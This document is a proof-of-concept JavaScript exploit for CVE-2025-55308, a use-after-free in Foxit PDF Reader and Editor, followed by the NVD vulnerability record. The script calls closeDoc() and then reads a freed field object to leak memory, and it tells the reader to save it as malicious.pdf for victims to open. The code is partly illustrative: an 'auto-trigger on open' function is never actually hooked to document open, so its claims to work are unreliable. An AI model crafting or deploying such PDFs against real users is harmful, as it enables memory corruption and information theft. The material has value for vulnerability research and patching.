CVE-2025-55308

// CVE-2025-55308 PoC - Foxit PDF closeDoc() Use-After-Free // This PoC demonstrates the vulnerability where closeDoc() prematurely releases internal objects var pdfDoc = app.newDoc(); // Create some PDF objects that will be affected pdfDoc.addField("targetField", "text", 0, [100, 700, 400, 750]); pdfDoc.addField("triggerField", "button", 0, [100, 600, 400, 650]); // Set up a button to trigger the vulnerability var btn = this.getField("triggerField"); btn.setAction("MouseDown", "triggerUAF()"); function triggerUAF() { // This simulates the problematic code pattern // Objects are still in use when closeDoc is called var fieldRef = this.getField("targetField"); // Trigger closeDoc while internal references exist // This causes the use-after-free condition try { this.closeDoc(); // After closeDoc, the field object is freed // Accessing it triggers the UAF vulnerability var leakedData = fieldRef.value; console.println("Leaked memory content: " + leakedData); } catch(e) { console.println("Error occurred: " + e.message); } } // Alternative trigger using app.alert or other user interactions function autoTrigger() { // Malicious PDF that auto-triggers on document open app.alert("Document opened", 0, 0, "Foxit PDF Reader"); triggerUAF(); } // Save this as malicious.pdf and open with vulnerable Foxit version

{"cve": {"id": "CVE-2025-55308", "sourceIdentifier": "[email protected]", "published": "2025-12-11T16:16:25.163", "lastModified": "2026-01-06T14:45:01.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Foxit PDF and Editor for Windows before 13.2 and 2025 before 2025.2. A crafted PDF containing JavaScript that calls closeDoc() while internal objects are still in use can cause premature release of these objects. This use-after-free vulnerability may lead to memory corruption, potentially resulting in information disclosure when the PDF is opened."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.1.7.23637", "matchCriteriaId": "F900FF8A-7BFA-442E-BC8C-5A3717961DD5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.23028", "matchCriteriaId": "0C75FEE6-54F3-49C6-BAEA-A09D23BE5D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.27687", "matchCriteriaId": "2C06BC41-9831-4AE3-B10B-3FC313D01580"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.1.0.27937:*:*:*:*:*:*:*", "matchCriteriaId": "9FDC914F-B999-4233-8BEA-CA20B1F0D9D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.1.0.27937", "matchCriteriaId": "DB827B5A-9957-43B2-A633-EF5442A2EF35"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}